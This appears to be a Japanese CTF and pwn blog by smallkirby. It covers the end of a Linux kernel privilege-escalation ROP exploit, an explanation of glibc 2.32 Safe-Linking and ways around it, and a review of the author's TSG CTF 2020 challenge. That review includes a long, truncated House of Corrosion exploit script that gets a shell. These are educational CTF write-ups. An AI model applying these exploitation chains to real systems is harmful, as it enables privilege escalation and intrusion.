  // 0xffffffff8100fc8e: mov rdi, rax ; rep movsq  ; ret  ;  (1 found)
  ulong mov_rdi_rax = 0xfc8e;
  // 0xffffffff810fb892: pop rcx ; add cl, byte [rax-0x7D] ; ret  ;  (2 found)
  ulong pop_rcx = 0xfb892;
  ulong prepare_kernel_cred = 0x44850;
  ulong commit_creds = 0x44680;
  /*
   0xffffffff812009c4 <+68>:    mov    rdi,rsp
   0xffffffff812009c7 <+71>:    mov    rsp,QWORD PTR ds:0xffffffff81806004
   0xffffffff812009cf <+79>:    push   QWORD PTR [rdi+0x30]
   0xffffffff812009d2 <+82>:    push   QWORD PTR [rdi+0x28]
   0xffffffff812009d5 <+85>:    push   QWORD PTR [rdi+0x20]
   0xffffffff812009d8 <+88>:    push   QWORD PTR [rdi+0x18]
   0xffffffff812009db <+91>:    push   QWORD PTR [rdi+0x10]
   0xffffffff812009de <+94>:    push   QWORD PTR [rdi]
   0xffffffff812009e0 <+96>:    push   rax
   0xffffffff812009e1 <+97>:    xchg   ax,ax
   0xffffffff812009e3 <+99>:    mov    rdi,cr3
   0xffffffff812009e6 <+102>:   jmp    0xffffffff81200a1a <common_interrupt+154>
   0xffffffff812009e8 <+104>:   mov    rax,rdi
   0xffffffff812009eb <+107>:   and    rdi,0x7ff

  */
  ulong swapgs_restore_regs_and_return_to_usermode = 0x2009c4;


  // 状態の保存
  save_state();

  lseek(memo,0x300,SEEK_SET);
  read(memo,buf,0x400);

  // leak kernbase and kernheap
  kernbase = *(unsigned long*)(buf + 0x100 + 0x18) - off_ptm_unix98_ops_kernbase;
  printf("kernbase: %lx\n",kernbase);
  kernheap = *(unsigned long*)(buf + 0x100 + 0x38) - off_kernheap;
  printf("kernheap: %lx\n",kernheap);

  // vtableへのポインタの書き換え
  *(unsigned long*)(buf + 0xc*8) = kernbase + gad1; // fake ioctl entry
  *(unsigned long*)(buf + 0x100 + 0x18) = kernheap + 0x300; // fake vtable pointer

  lseek(memo,0x300,SEEK_SET);
  write(memo,buf,0x400); // overwrite ops and ioctl entry

  // ROP chain
  rop = (unsigned long*)buf;
  // gad1のごまかし*6
  *rop++ = 0x0;
  *rop++ = 0x0;
  *rop++ = 0x0;
  *rop++ = 0x0;
  *rop++ = 0x0;
  *rop++ = 0x0;

  // init_task の cred を入手
  *rop++ = kernbase + pop_rdi;
  *rop++ = 0;
  *rop++ = kernbase + prepare_kernel_cred;

  // 入手したcredを引数にしてcommit
  *rop++ = kernbase + pop_rcx;      // mov_rdi_raxガジェットがrepを含んでいるため、カウンタ0にしておく
  *rop++ = 0;
  *rop++ = kernbase + mov_rdi_rax;
  *rop++ = kernbase + commit_creds;

  // return to usermode by swapgs_restore_regs_and_return_to_usermode
  *rop++ = kernbase + swapgs_restore_regs_and_return_to_usermode;
  *rop++ = 0;
  *rop++ = 0;
  *rop++ = (ulong)&pop_shell;
  *rop++ = user_cs;
  *rop++ = user_rflags;
  *rop++ = user_sp;
  *rop++ = user_ss;

  // invoke shell
  lseek(memo,0x0,SEEK_SET);
  write(memo,buf,0x100);
  ioctl(ptmx,kernheap,kernheap);

  return 0;
}

 

 これを実行すると、以下のように確かにLPEできていることがわかる

f:id:smallkirby:20200723221010p:plain

pwned

 

 

 

7. アウトロ

KPTI と KDDI って、似てるよね

親戚なんかな

 

 

 

 

続く...

 

 

 

 

 

 

 

 

【pwn 32.0】glibc2.32 Safe-Linking とその Bypass の概観

keywords

glibc-2.32 / safe-linking / heap mitigation / House of IO / leak heapbase by reading encrypted fd

 

 

 

 

 

0: 参考

【A】Safe-Linking設計者ブログ

research.checkpoint.com

 

【B】Safe-Linking Bypass の提案

https://www.researchinnovations.com/post/bypassing-the-upcoming-safe-linking-mitigation

 

【C-1】House of io の提案

House of Ioawaraucom.wordpress.com

 

 【C-2】 House of io Remastered

https://awaraucom.wordpress.com/2020/07/19/house-of-io-remastered/ 

 

1: イントロ

こんにちは、ニートです。

この夏もまた、glibcの新しいバージョン(2.32)のリリース日が近づいてきました。

今回のアップデートでは、malloc/freeに Safe Linking というものが追加されます(多分。知らんけど)。かつて2005年のglibc2.3.6において実装された Safe-Unlinking を彷彿とさせる忌々しい名前ですね。本エントリでは、この Safe Linking を概観してみようと思います。それと同時に、Safe-Linkingのbypass方法についても概観し、ほんの少しだけ触れてみようと思います。



尚、この先触れる内容は実は前々から実装されていたかもしれませんが、自分が気づいた時其れ即ち実装された時ということで、悪しからず。

 

2: Safe-Linking 概観

Safe-Linkingは、2020年8月1日リリースのGlibc 2.32においてリリースが予定され既にmasterブランチに乗っている、heap exploitationに対するmitigationのことである

設計者によると、以下の3つの攻撃に対して防衛的役割を果たすとされている

 Our solution protects against 3 common attacks regularly used in modern day exploits:
Partial pointer override: Modifying the lower bytes of the pointer (Little Endian).
Full pointer override: Hijacking the pointer to a chosen arbitrary location.
Unaligned chunks: Pointing the list to an unaligned address. 

( 参考【A】)

 

 

まずは、実際に Safe-Linking が実装されているglibcでバイナリを動かしたときのheapの様子を見てみることにする

以下のソースコードglibc 2.32 用にビルドした

 

#include<stdio.h>
#include<stdlib.h>
#include<string.h>

int main(void)
{
  char *a = malloc(0x20);
  char *b = malloc(0x20);
  char *c = malloc(0x20);
  char *d = malloc(0x20);

  free(a);
  free(b);
  free(c);

  return 0;
}

 

これをfreeの直前まで動かした後のheapが以下のようになる。

f:id:smallkirby:20200718000006p:plain



 

chunk A,B,C の順にmalloc()されており、A,B,Cのbkはkey ( > libc 2.29) であるから &tcache が入っているのは言するに値しないだろう

f:id:smallkirby:20200718000140p:plain

 

それはいいとして、注目すべきはABCのfdである

heap addrのように見えるけど、なんかよくわからん値が入っていることが見て取れる

 

これのおかげで、binコマンドによってtcacheのリストを見ようとすると以下のようになるf:id:smallkirby:20200718000408p:plain

pwndbgが2.32に対応していないため、linked listが崩壊していることが分かる

 

 

また、CのfdのLSBを0x00に書き換えてtcache dupを行おうとすると以下のようになる

 

pwndbg> set {char}0x555555559300 = 0x00
pwndbg> c 

f:id:smallkirby:20200718001132p:plain

 

malloc(): unaligned tcache chunk detected というエラーが出てabortしていることが分かる

 

これにより、少なくとも従来のUAFによるLSB書き換えでのtcache dupはSafe-Linkingによって失敗するということがわかるであろう(後述するが、厳密には「失敗する」よりも「失敗する確率が上がる」の方が正しい)

以下で、その実装を見ていくことにする

 

 

3: Safe-Linkingの実装とその仕組み

実装

まずは tcache_put() の実装を以下に示す。

f:id:smallkirby:20200718003213p:plain

( 左の行数はオレンジ表示が絶対行数、その他が相対行数を表している)

 

+12行目において PROTECT_PTR というマクロに free されたchunkのアドレスtcacheに繋がっている最初のbinのアドレスが渡され、その結果がnextに入っていることが分かる

 

PROTECT_PTRは以下のように定義される

f:id:smallkirby:20200718003353p:plain

見ての通り、freeしたchunkのアドレスを12bit右シフトした値と 従来のnextに入るアドレス のxorを返している

REVEAL_PTRマクロは後ほど出てくるが、xorをするという性質上PROTECT_PTRを使いまわしている

 

 

深い話は後にして、_int_malloc()/ _int_free() を眺める

 以下に _int_free() の実装の一部を示す。

f:id:smallkirby:20200718002822p:plain 変更点は、e->key==tcache だった場合の全探索においてリストを辿る際の for ループにおいて REVEAL_PTR を使っていることくらいである

これは、PROTECT_PTR によって加工した値からもとのアドレスを取り出す操作である

 

 _int_malloc() の変更点はこんな感じ

f:id:smallkirby:20200718011339p:plain

f:id:smallkirby:20200718011425p:plain

 

fastbin関係においても tcache と同様に REVEAL_PTR が使用されていることが分かる

 

但し今回はtcacheについて見たいため、tcache_get() の実装を以下に示す

f:id:smallkirby:20200718013022p:plain



aligned_OK(e) というマクロを呼び、チェックに失敗すると先程まさに現れたエラーメッセージが表示されるようになっている

それでは aligned_OK は(名前から推測こそできるものの)何をしているかというと以下のようになっている

f:id:smallkirby:20200718013244p:plain

 

単純に与えられたポインタと MALLOC_ALIGN_MASK(==15)の論理積がゼロかを判断している。これは、与えられたアドレス p が 0x10 align されているかどうかを判断しているに他ならない

 

 

さてここまでで大凡の仕組みは推測できるだろうが、以下で設計者の言葉(参考【A】)も借りながら仕組みを総まとめする

 

 

仕組み

Safe-Linking は 単方向リストのポインタを加工することで、先にあげたようなポインタの書き換えによる攻撃を回避しようとする

この加工は、_int_free() 時に PROTECT_PTR マクロによって行われる

このマクロがそのchunkのアドレスと本来next(fd)に書き込むはずの値の xor を生成することは、先に見たとおりである

 

先程の例を再掲する

f:id:smallkirby:20200718014033p:plain

上から順に chunk A,B,C,D とし、 ABCはこの順に free されてtcacheに入っている

 

例えばAまでfreeし、次にBをfreeする際のことを考えてみる

このとき、従来ならば B(0x5555555592d0) のfdにはAのアドレスである 0x5555555592a0 が入るはずである

しかし今回の修正により、 PROTECT_PTR(0x5555555592d0, 0x5555555592a0) が呼ばれることになった

この内部では、((((size_t) pos) >> 12) ^ ((size_t) ptr))) という式すなわち 0x5555555592d0>>12  ^ 0x5555555592a0 によって、0x55500000c7f9という値が生成される

f:id:smallkirby:20200718014601p:plain

これはまさしく B の next に入っている値と同一である

 

それでは tcache のリンクを参照する際、すなわち tcache に複数のchunkが繋がった状態で malloc() を呼び、tcache に対して 次のchunkのアドレスを書き込みたいという場合にはどうしているのだろうか

つい先程見たように、Cをmalloc()で取り出した後 B の next には PROTECT_PTR によって加工された値が入っているため、tcacheに直接書き込むわけには行かない (そうしてしまうと、最早もとのアドレスを復元することは不可能になってしまう、復号に必要なのは加工された値とそのアドレスの2点なのだから)

そこで、tcache_get() で見たように REVEAL_PTR マクロによってもとのnextの値を復元している

PROTECT_PTRでは所詮2つの値を xor していただけだったから、復号もxorを行うだけで可能である (そして実際に REVEAL_PTR の内部では PROTECT_PTR を呼んでいる)

そのようにして復元した値をtcacheに書き込むのである

 

 

 

ここで最も重要なのは、「攻撃者は『攻撃の初期の段階においては』heapのアドレスを知らない」という事実である

これは、言わずもがなASLR有効の場合にはアドレス空間は下位3nibbleを除いてランダマイズされるからである

先程 PROTECT_PTR で わざわざ chunk のアドレスを 12bit 分シフトさせていたのは、固定値の3nibbleではなくランダマイズされたアドレス部を用いるためであった

この事実と、「もとのnextを復元するためには加工をした結果の値とそのchunkのheap上の値が必要である」という2つの事実を組み合わせることで、「攻撃者は初期の段階でもとのnextの値を知ることができない」という結論が導かれる

 

 

それでは、nextのもとの値のを知ることができないという事実を用いて如何にしてlinear overflowを検知するのかというと、ここで登場するのが先程の aligned_OK マクロである

このマクロは REVEALED_PTRによって復元したnextの値が0x10 aligneされているかどうかを確認する

よって、linear overflow等でnextを書き換える際に、下1nibble分を適切に書き換えてやらないと、この aligned_OK マクロで殺されることになる

 

 

 

.

..

... 

 

 

 

 

そう、おそらく気づいたと思うが

この mitigation は 15/16の確率でしか攻撃を検知できない

overwriteした1nibbleがたまたま正確な値だった場合、エラーを検知できず書き換えられた値をもとにして REVEAL_PTR されたアドレスを next として認識してしまうことになるのだ

これが本エントリの冒頭でexploitを防ぐものではなく、失敗する確率を上げるものであると言った理由である

設計者の言葉を借りるなら、raise the bar らしい

 

 

 

というわけで、Safe-Linkingの実装と仕組みを概観してきた

上では tcache について見てきたが、この実装は一般の単方向リストに適用できるものであり、fastbin にも Safe-Linkingが適用されている

単純なtcache dup、とりわけよく知られた 0x7F テク等はこれで難しくなる

 

尚、この実装はASLRの生成する3nibble分のエントロピを利用したものであり、新たに実装されたコードは非常に少なくオーバーヘッドが小さい

参考【1】よりベンチマーク試験の結果を以下に示す

f:id:smallkirby:20200718021203p:plain

https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/

 

左が従来のmallocの実装、右がSafe-Linkingを実装したものであるが、その殆どで差異がないことがわかる

寧ろSafe-Linkingを実装したもののほうが高速に動作している項目も多いが、これは環境誤差であると考えられる。すなわち誤差が大きく影響するほどにはSafe-Linking実装によるオーバーヘッドは小さいということが見て取れる

 

 

 

4. House of io

Safe-LinkingのBypassについて、まずは House of io について触れておく

なんか突然Twitterで記事が流れてきた為読んでみた。詳しくは  参考【C】を参照

Safe-Linkingでは next/fd を不正に書き換えたまま2回 malloc() を行うとエラーが出るのは上に見たとおりである。そこで、この bypass 方法では tcache の key をleakした上で、tcacheに直接書き換えたいアドレスを書き込んでいる。tcacheに書き込まれるアドレス自体は PROTECT_PTR されていないため、もしこれができれば tcache_dupすることができる。

但し、事前に key の leak が必要なことに加えて、何よりAAWできないといけないことが、現実/CTFの問題においてはかなり厳しく、そもそもAAWが可能であるならばもっと他に色々とできそうな気がしていて、有効な手法なのかどうかは今の段階では疑わしい気がしている。

ということで、この手法について触れるのはここまでとする。

 

【追記:20200719】

@Awarau1 が House of io についてのブログのRemaster版を公開したと教えてくれた

今はまだ確認できていないが、あとで確認する。もしかしたら自分の解釈が間違っていて、凄く有効な方法なのかもしれない (参考【C-2】)

 

 

5. P' から Lの leak

以下に、PROTECT_PTR の仕組みの外観図を参考【A】より拝借して提示する。

f:id:smallkirby:20200719190036p:plain

https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/

ここで P は tcache の next に書き込まれるはずの本来のアドレス、L は PROTECT_PTR で加工に利用する chunk 自体のアドレス、P' は LとPから PROTECT_PTR によって生成される値である

ここで、free したあとの tcache にたいして 8byte のみ read が可能であるという状況を想定し、「P'からLを復元したい」とする。以下に先程の例を再掲する。

 

f:id:smallkirby:20200719190558p:plain

example

まず、全てのchunkに対してUAF(read)が可能であるならば、Lの値は単にtcacheの先端のchunkのnextを読むだけである。上の例においては A を最初に free しているため tcache の先頭に繋がっているが、AのnextにはLがそのまま格納されていることが見て取れる。

次に、BのP'のみがreadできたとする。このとき、Lはheapのアドレスを12bitシフトしているため、Pと比較して上位3nibbleが全て0になっている。すなわち、P'の上位3nibbleはそのままLの値であることがわかる。更に、Pの続く2nibbleは今leakしたLの上位2nibbleとxorしているため、これも直ちに計算によって求めることができる。この作業を繰り返すことによって、Pのみの情報からLをleakすることが可能である。Lをleakすることができたということは(狭い文脈においては) heap のアドレスを完全に掌握できたことになるため、あとは通常通りのoverwriteを PROTECT_PTR と同じ計算を施してから行えば tcache dup が可能ということになる。(勿論 key は適宜書き換える必要があるが、これは1byteでも書き換えれば可能である。)

 

このように、対象chunkが同一ページ内に配置され、且つその中でのオフセットが既知/操作でき、8(or6)byteのleakが可能な場合においては、従来と全く変わらずに tcache dup が可能になる。(但し全くreadができない状況において next の下1byteだけを書き換えて循環tcacheを作るといったことは難しい)
 

上の画像でBのP'=0x000055500000C7F9のみから L=0x555555559 が復元できることを以下のスクリプトで確かめられる。

Pd = int(raw_input("P': "),16)
L = Pd >> 36
for i in range(3):
  temp = (Pd >> (36-(i+1)*8)) & 0xff
  element = ((L>>4) ^ temp) & 0xff
  L = (L<<8) + element
print("L : "+hex(L))

 

f:id:smallkirby:20200719194641p:plain



 

 

6. Further Attack

 参考【B】に、1byteのoverflowで P' をleakし L を計算して、任意の値を再び加工してoverwriteするPoCが置いてある

やっていることは、普通に consolidation を使って overlapping chunk を作り、生じたUAFで P' をleakするだけなので、特に目新しいことはしていないようである

House of io でもそうだったが、今のところは P' を leak することで通常通り overwrite をするという方法が一般的らしい

 

 

7. アウトロ

設計者は36C3 CTFをやっている最中にコレを思いついたらしいです

俺がOnetimePadをなんとか殺している間に、設計者はpwnerを殺そうとしていたのか...

今回潰された/難しくされた脆弱性もそうですが、Intel CETが秋に出るとかどうとかという噂もあって、なんやかんや長い間放置されてきた脆弱性が消えていくのは、悲しいね
因みにこの話をTSG slackでしたところ、物理こそ最強であり、爆破こそ至高という結論に至りました

怖い人たちですね、僕は違いますが。


まぁ結局はどんどん新しいexploitが見つけられ、過去のexploit達は忘れられていくのでしょう

pwner達は血も涙もない薄情糞野郎ばかりですから

 

 

 続く...

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

(三浦春馬さんのご冥福を心よりお祈りします) 

 

 

【pwn 31.0】 TSGCTF 2020 作問反省

 

keywords

TSG CTF / House of Corrosion / heap feng shui / ごめんね

 

 

 

 

0: イントロ

いつぞや開催された TSGCTF 2020 において、pwn問題を2問作問し、1問共作しました。結果としては反省点ばかりで、もやもやして今すぐやるべき期末試験勉強に集中できないので、ここに雑に反省を置いておきます。

1: RACHELL: 7solves 322pts

問題概要

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

バイナリサイズが大きいためCソースを添付しています。 超簡易的なファイルシステムを模し、数個のコマンドを処理してファイル・ディレクトリを作成・削除・書き込みすることができます。 ただし cat コマンドは実装されておらず、ディレクトリ名を表示する際にも以下の関数で出力がチェックされ、検査に引っかかるとプログラムが停止(非終了)します。

unsigned char ascii_check(const char *name, unsigned int size)
{
    char c;
    for(int ix=0;ix!=size;++ix){
        c = name[ix];
        if(c=='\n' || c=='-' || (0x30<=c && c<=0x39) || (0x40<=c && c<=0x5a) || (0x61<=c && c<=0x7a) || c=='_' || c=='.')
            continue;
        return 0;
    }
    return 1;
}

パス名の表示以外に、定数値以外を出力する箇所は一切ありません。

非想定解

House of Corrosion を出題したいがためだけに作った問題です。
FILE structureの _IO_write_ptr の書き換えによってleakがされないようにprintf()等でストリームは全く使わないようにしていたり、ascii_check()で出力を検査していたのは、とにかく leakless を目指していたためでした。
しかし、pwd 関数に於いて唯一出力の ascii_check() を行うのをし忘れており、ここから leak が可能であったようです。
一度leakさえできてしまえば、double free も UAF もし放題な問題ゆえ、簡単に解けてしまうという非想定解がありました。
そもそもに、pwd() に ascii_check() を入れていたとしても、上のチェックではゆるいところがあり結局何かしらを何かしらの方法でleakされていたのではないかと思います。
一度考えて没にしたのですが、やっぱりディレクトリ名の出力は全て **CENSORED** のように定数値で統一すべきでした。こうするとファイルシステムを真似するプログラムという問題設定が微妙になってしまうのではと思いやめたのですが、非想定を潰すためには多少問題設定を犠牲にしてでも制限を厳しくすべきだったと反省しています。
なお、最初はコマンドと引数を別々ではなく通常のシェルのように入力できるようにしていたのですが、パーサによってソースコードが倍増してしまうのと、非想定を埋め込みそうだったので割と直前でやめました。

想定のバグ

折角なので、想定解にも軽く触れておきます。まず、バグとして以下のようなものがあります。

  • node(ディレクトリ・ファイル)を削除する際、それがカレントディレクトリ以外にある場合には、nodeのfree()は行われますが、親ノードから該当子ノードが削除されません。親に繋がってる子ノードの削除は問答無用で行われるため、double free/UAFが可能です。
  • ファイルへの書き込み(echo)を行う際に、readn()関数ではなく以下のように読み込んでいます。これによって、任意サイズのmalloc()を行いつつも、実際に書き込むのは"\r"までという操作ができるため、exploitが簡単になります。
          if(target->buf == NULL){
                target->buf = malloc(size);
                // find newline
                for(int ix=0; ix!=size; ++ix){
                if(content[ix] == '\r'){
                    size = ix;
                    break;
                }
                }
                memcpy(target->buf,content,size);
                target->size = size;
          }else{
        
  • バグではありませんが、エラー発生時に呼ばれるpanic()関数は、プログラムを終了するわけではなく停止させます。これも、House of Corrosionを使ってほしいという匂わせです。
        void panic(void)
        {
            write(1,"exit...\n",7);
            while(true)
            sleep(100);
        }
        



想定解

想定では完全なるleaklessだったため、House of Corrosionでleakすることなくシェルを開くというものでした。しかし、おそらくleaklessで解いた人はゼロ人だと思います。
なおこの方法で解く際には、echoをする前に必要なノードを予めtouchして準備しておかないとexploitが難しくなるなど、結構準備が手間です。

#!/usr/bin/env python
#encoding: utf-8;




# TOTAL ENTROPY IS 4-bit+x(x<4)
# TRY SOME TIMES



from pwn import *
import sys
import time

FILENAME = "../dist/rachell"
LIBCNAME = "../dist/libc.so.6"

hosts = ("ニッコニッコニー","localhost","localhost")
ports = (25252,12300,25252)
rhp1 = {'host':hosts[0],'port':ports[0]}    #for actual server
rhp2 = {'host':hosts[1],'port':ports[1]}    #for localhost 
rhp3 = {'host':hosts[2],'port':ports[2]}    #for localhost running on docker
context(os='linux',arch='amd64')
binf = ELF(FILENAME)
libc = ELF(LIBCNAME) if LIBCNAME!="" else None


## utilities #########################################

def hoge(command):
  c.recvuntil("command> ")
  c.sendline(command)

def ls(dir="."):
  hoge("ls")
  c.recvuntil("path> ")
  c.sendline(dir)


# current dir only
def touch(name):
  hoge("touch")
  c.recvuntil("filename> ")
  c.sendline(name)

def echo(path,content):
  if "\n" in content:
    raw_input("[w] content@echo() contains '\\n'. It would be end of input. OK?")

  hoge("echo")
  c.recvuntil("arg> ")
  c.sendline(content)
  c.recvuntil("redirect?> ")
  c.sendline("Y")
  c.recvuntil("path> ")
  c.sendline(path)
  if "invalid" in c.recvline():
    raw_input("error detected @ echo()")
    exit()

def rm(path):
  hoge("rm")
  c.recvuntil("filename> ")
  c.sendline(path)
  if "no" in c.recvline():
    raw_input("error detected @ rm()")
    exit()

# relative only
def cd(path):
  hoge("cd")
  c.recvuntil("path> ")
  c.sendline(path)

# current dir only
def mkdir(name):
  hoge("mkdir")
  c.recvuntil("name")
  c.sendline(name)

def te(filename,content):
  touch(filename)
  echo(filename,content)

def formula(delta):
  return delta*2 + 0x20

## exploit ###########################################

def exploit():
  global c
  repeat_flag = False

  # calc ##############################################

  gmf = 0xc940
  bufend_s = formula(0xa70 - 0x8)
  stderralloc_s = formula(0xb08)
  dumpedend_s = formula(0x1ce0)
  pedantic_s = formula(0x1cf8 - 0x8)
  stderrmode_s = formula(0xaf0 - 0x8)
  stderrflags_s = formula(0xa30 - 0x8)
  stderrwriteptr_s = formula(0xa58 - 0x8)
  stderrbufbase_s = formula(0xa68 - 0x8)
  stderrvtable_s = formula(0xa68 + 0xa0 - 0x8)
  stdoutmode_s = formula(0xbd0 - 0x8)
  morecore_s = formula(0x880)
  stderrbufend_s = formula(0xa68)
  stderr_s = formula(0x7f17c6744680-0x7f17c6743c40+0x10 - 0x28)
  stderr60_s = formula(0x7f17c6744680-0x7f17c6743c40+0x10 - 0x28 + 0x60)
  LSB_IO_str_jmps = 0x7360
  LSBs_call_rax = 0x03d8            # call rax gadget. to be called @ _IO_str_overflow()
  '''
  pwndbg> find /2b 0x7f971f8a0000, 0x7f971f8affff, 0xff,0xd0
  0x7f971f8a03d8 <systrim+200>
  0x7f971f8a0657 <ptmalloc_init+631>
  2 patterns found.
  '''

  try: 
      mkdir("test1")
      mkdir("test2")
      mkdir("test3")
      mkdir("test4")
      mkdir("test5")
      mkdir("test6")
      # info: test6 is used only for padding!
      for i in range(5):
        cd("./test"+str(i+2))
        for j in range(0xe):
          touch(str(j+1))
        cd("../")
      print("[+] pre-touched chunks")


      cd("./test1")
      touch("a")
      touch("k")
      touch("large")
      touch("b")
      touch("c")
      touch("LARGE")
      echo("a","A"*0x450)         # for unsortedbin attack
      echo("k","k"*0x130)         # just for padding
      echo("large","B"*0x450)
      echo("b","A"*0x450)         # to overwrite LARGE's size !!!
      cd("../")
      rm("./test1/b")
      rm("./test1/large")
      cd("test1")
      echo("c","\r"*0x460)
      echo("LARGE","L"*0x460)     # to cause error!!!

      touch("hoge")
      touch("hoge2")
      te("padding","K"*0x30)      # JUST PADDING

      print("[+] prepared for later attack")

      # prepare for ADV3  part1 in test2 ##########################

      # get overlapped chunk.
      LSB_A1 = 0xd0              # chunk A's LSB
      adv3_size1 = bufend_s
      cd("../test2")
      echo("1","\r"*(0x50))
      echo("2","2"*(0x20)) # A
      #raw_input("check A's LSB")
      echo("3","3"*(0x20)) # B
      echo("4","4"*(0x50))
      cd("../")
      rm("./test2/1")
      rm("./test2/4")
      cd("test2")
      echo("4",p8(LSB_A1))
      echo("5","5"*(0x50)) # tmp2
      echo("6","6"*(0x50)) # tmp1 overlapping on A
      echo("6",p64(0)+p64(adv3_size1 + 0x10 +0x1) + p64(0)*4 + p64(0) + p64(adv3_size1 + 0x10 + 0x1))
      
      # prepare fakesize
      echo("7",(p64(0)+p64(0x31))*((adv3_size1+0x120)//0x10))
      #raw_input("check overlap")

      print("[+] create overlapped chunks for ADV3 part1")
      cd("../")


      # prepare for ADV3  part2 in test3 ##########################

      # padding
      cd("./test6/")
      echo("1",p64(0x31)*0x10)

      # get overlapped chunk.
      LSB_A2 = 0xa0              # chunk A's LSB
      adv3_size2 = stderralloc_s
      cd("../test3")
      echo("1","\r"*(0x50))
      echo("2","2"*(0x20)) # A
      #raw_input("check A's LSB")
      echo("3","3"*(0x20)) # B
      echo("4","4"*(0x50))
      cd("../")
      rm("./test3/1")
      rm("./test3/4")
      cd("test3")
      echo("4",p8(LSB_A2))
      echo("5","5"*(0x50)) # tmp2
      echo("6","6"*(0x50)) # tmp1 overlapping on A
      echo("6",p64(0)+p64(adv3_size2 + 0x10 +0x1) + p64(0)*4 + p64(0) + p64(adv3_size2 + 0x10 + 0x1))

      # prepare fakesize
      echo("7",(p64(0)+p64(0x31))*((adv3_size2+0x120)//0x10))
      #raw_input("check overlap")

      print("[+] create overlapped chunks for ADV3 part2")
      cd("../")


      # Allocate chunks for ADV2 #################################

      cd("./test4")
      print("[ ] dumpedend_s: "+hex(dumpedend_s))
      echo("1","B"*dumpedend_s)
      echo("2","B"*pedantic_s)
      echo("3","B"*stderrmode_s)
      echo("4","B"*stderrflags_s)
      echo("5","B"*stderrwriteptr_s)
      echo("6","B"*stderrbufbase_s)
      echo("7","B"*stderrvtable_s)
      echo("8","B"*stdoutmode_s)
      print("[+] create some chunks for ADV2")
      cd("../")


      # Connect to largebin and set NON_MAINARENA to 1 ######

      rm("./test1/LARGE")
      cd("./test6")                       # connect to largebin
      echo("2","\r"*0x600)

      cd("../test1")
      echo("b",p64(0)+p64(0x460|0b101))   # set NON_MAIN_ARENA
      cd("../")
      print("[+] connected to large and set NON_MAIN_ARENA")



      # Unsortedbin Attack ###################################
      rm("test1/a")
      cd("./test1")
      echo("a",p64(0)+p16(gmf-0x10))
      echo("hoge","G"*0x450) # unsortedbin attack toward gmf
      cd("../")
      print("[!] Unsortedbin attack success??(4-bit entropy)")


      # Make unsortedbin's bk valid ########################
      rm("./test4/1")
      cd("test4")
      echo("1",p64(0x460))
      cd("../test5")
      echo("1","\r"*dumpedend_s)
      rm("../test4/2")
      cd("../")
      print("[*] made unsortedbin's bk valid")


      # Overwrite FILE of stderr ##########################

      # stderr_mode / 1
      rm("./test4/3")
      cd("./test4")
      echo("3",p64(0x1))
      cd("../test5")
      echo("2","\r"*stderrmode_s)
      cd("../")
      print("[1/5] overwrite FILE of stderr")

      # stdout_mode / 1
      rm("./test4/8")
      cd("./test4")
      echo("8",p64(0x1))
      cd("../test5")
      echo("3","\r"*stdoutmode_s)
      cd("../")
      print("[2/5] overwrite FILE of stderr")

      # stderr_flags / 0
      rm("./test4/4")           # NO NEED IN THIS CASE...
      cd("./test4")
      echo("4",p64(0x0))
      cd("../test5")
      echo("4","\r"*stderrflags_s)
      cd("../")
      print("[3/5] overwrite FILE of stderr")

      # stderr_IO_write_ptr / 0x7fffffffffffffff
      rm("./test4/5")
      cd("./test4")
      echo("5",p64(0x7fffffffffffffff))
      cd("../test5")
      echo("5","\r"*stderrwriteptr_s)
      cd("../")
      print("[4/5] overwrite FILE of stderr")

      # stderr_IO_buf_base / offset of default_morecore_onegadget
      off_default_morecore_one = 0x4becb
      rm("./test4/6")
      cd("./test4")
      echo("6",p64(off_default_morecore_one))
      cd("../test5")
      echo("6","\r"*stderrbufbase_s)
      cd("../")
      print("[5/5] overwrite FILE of stderr")



      # Transplant __morecore value to stderr->file._IO_buf_end ########
      cd("../")
      rm("./test2/2")                   # TODO: 2/3逆じゃね???
      rm("./test2/3")                   # connect to tcache
      cd("test2")
      echo("2",p8(LSB_A1))
      cd("../test6")
      echo("3","\r"*stderrbufend_s)
      cd("../test2")
      echo("6",p64(0)+p64(0x10 + morecore_s|1))
      cd("../")
      rm("./test2/2")
      cd("./test2/")
      echo("6",p64(0)+p64(0x10 + stderrbufend_s|1))
      cd("../test6")
      echo("4","\r"*stderrbufend_s)

      cd("../test2")
      echo("6",p64(0)+p64(0x10 + morecore_s|1))
      cd("../test6")
      echo("5","\r"*morecore_s)
      print("[+]overwrite stderr->file.IO_buf_end")

      # Partial Transplantation: stderr->file.vtable into _IO_str_jumps

      cd("../")
      rm("./test4/7")
      cd("./test4")
      echo("7",p16(LSB_IO_str_jmps - 0x20))            # 0-bit uncertainity after success of unsortedbin attack (before, 4bit)
      cd("../test6")
      echo("6","\r"*stderrvtable_s)
      print("[+] overwrite stderr's vtable into _IO_str_jumps - 0x20")

      # Tamper in Flight: Transplant __morecore's value to _s._allocate_buffer ###########
      cd("../")
      rm("./test3/3")
      rm("./test3/2")                   # connect to tcache
      cd("test3")
      echo("2",p8(LSB_A2))
      cd("../test6")
      echo("7","\r"*stderralloc_s)
      cd("../test3")

      echo("6",p64(0)+p64(0x10 + morecore_s|1))
      cd("../")
      rm("./test3/2")
      cd("./test3/")
      echo("6",p64(0)+p64(0x10 + stderralloc_s|1))
      echo("2",p16(LSBs_call_rax))                      # HAVE 4-BIT UNCERTAINITY !!!
      cd("../test6")
      echo("8","\r"*stderralloc_s)
      print("[ ] morecore_s: "+hex(morecore_s))


      # invoke and get a shell!!!
      c.recvuntil("command> ")
      c.sendline("echo")
      c.recvuntil("arg> ")
      c.sendline("\r"*0x50)
      c.recvuntil("?> ")
      c.sendline("Y")
      c.recvuntil("> ")
      c.sendline("9")
      print("[!] Got shell???")

      return True
  except EOFError:
      print("[-] EOFError")
      c.close()
      return False


## main ##############################################

# check success rate by 'python2 ./exploit.py r bench'
# solvable-check by python2 ./exploit.py r

if __name__ == "__main__":
    global c
    
    if len(sys.argv)>1:
      if sys.argv[1][0]=="d":
        cmd = """
          set follow-fork-mode parent
        """
        c = gdb.debug(FILENAME,cmd)

      elif sys.argv[1][0]=="r" or sys.argv[1][0]=="v":
        try_count = 0
        total_try = 0
        total_success = 0
        start_time = time.time()
        init_time = time.time()
        while True:
            lap_time = time.time()
            try_count += 1
